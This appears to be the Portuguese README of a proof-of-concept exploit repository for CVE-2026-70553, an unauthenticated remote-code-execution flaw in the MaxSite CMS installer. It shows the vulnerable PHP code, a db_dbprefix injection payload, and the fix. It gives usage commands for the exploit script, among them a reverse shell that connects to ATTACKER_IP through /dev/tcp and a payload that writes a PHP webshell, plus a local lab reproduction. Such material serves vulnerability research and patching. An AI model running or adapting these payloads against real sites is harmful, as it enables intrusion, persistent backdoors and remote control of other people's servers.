
Exploit de prova de conceito para CVE-2026-70553, que permite RCE não autenticado no MaxSite CMS por meio de injeção persistente de PHP em database.php através do endpoint de instalação.
Prova de Conceito para CVE-2026-70553: Execução remota de código não autenticada no MaxSite CMS por meio de injeção persistente de código PHP em database.php através do endpoint de instalação.
Este PoC destina-se exclusivamente a fins educacionais e de pesquisa de segurança autorizada. O autor não se responsabiliza por qualquer uso indevido ou dano causado por este código. Teste apenas em sistemas que você possua ou sobre os quais tenha permissão explícita por escrito para testar.
As versões 105.2 a 109.5 do MaxSite CMS contêm uma vulnerabilidade crítica de execução remota de código não autenticada no endpoint de instalação. O parâmetro db_dbprefix é concatenado diretamente em código PHP sem sanitização, permitindo que atacantes injetem instruções PHP arbitrárias em . Como esse arquivo é incluído em toda requisição, o código injetado alcança RCE persistente.
application/config/database.phpEm install/installer/functions.php, a função newDatabase() constrói o conteúdo de database.php:
function newDatabase($PV)
{
if (file_exists(MSODIR . 'application/config/database.php-distr')) {
$file = file_get_contents(MSODIR . 'application/config/database.php-distr');
// ... other replacements ...
// VULNERABLE LINE: No sanitization of $PV['db_dbprefix']
$file = str_replace('$db[\'default\'][\'dbprefix\'] = \'mso_\';',
'$db[\'default\'][\'dbprefix\'] = \'' . $PV['db_dbprefix'] . '\';',
$file);
file_put_contents(MSODIR . 'application/config/database.php', $file);
return false;
}
// ...
}
Ao injetar um payload como:
db_dbprefix=mso_'; system('id'); //
O database.php gerado se torna:
$db['default']['dbprefix'] = 'mso_'; system('id'); //';
Isso rompe o literal de string e injeta código PHP arbitrário.
A correção adicionou uma verificação para impedir a reinstalação:
if (file_exists(MSODIR . 'application/config/database.php-distr')
and
!file_exists(MSODIR . 'application/config/database.php')) // NEW CHECK
{
// ... create database.php only if it doesn't exist
}
git clone https://github.com/woshidashabi1126/CVE-2026-70553-PoC.git
cd CVE-2026-70553-PoC
pip3 install requests
# Check if target has accessible install endpoint
python3 exploit.py http://target.com --check-only
# Exploit with default payload (creates poc_test.txt)
python3 exploit.py http://target.com
# Custom payload: reverse shell
python3 exploit.py http://target.com \
--cmd 'system("bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/9001 0>&1\"");'
# Custom payload: write webshell
python3 exploit.py http://target.com \
--cmd 'file_put_contents("shell.php", "<?php system(\$_GET[0]); ?>");'
--cmd PHP code to inject (default: file write test)
--check-only Only check if install endpoint is accessible
--db-host Database hostname (default: localhost)
--db-user Database username (default: test)
--db-pass Database password (default: test)
--db-name Database name (default: test)
CRÍTICO: Esta vulnerabilidade tem limitações práticas severas em cenários do mundo real.
/install/ não removido)newDatabase() só é chamada se as tabelas não existireminstall/installer/post.php por meio de checkTableExists()newDatabase() nunca é chamada/install/ esteja acessível, o caminho de código até a injeção é bloqueado pela verificação de existência das tabelasPara verificar esta vulnerabilidade em um ambiente controlado:
# 1. Download vulnerable version
wget https://github.com/maxsite/cms/archive/refs/tags/109.5.zip
unzip 109.5.zip && cd cms-109.5
# 2. Start PHP built-in server
php -S 127.0.0.1:8000
# 3. In another terminal, run exploit
python3 exploit.py http://127.0.0.1:8000
# Check if database.php was modified
cat application/config/database.php | grep dbprefix
# Should see injected code:
# $db['default']['dbprefix'] = 'mso_'; file_put_contents(...); //';
# Trigger execution
curl http://127.0.0.1:8000/
# Verify test file created
curl http://127.0.0.1:8000/poc_test.txt
Este projeto é lançado sob a Licença MIT. Consulte LICENSE para obter detalhes.
Lembre-se: Sempre pratique divulgação responsável e obtenha autorização adequada antes de testar.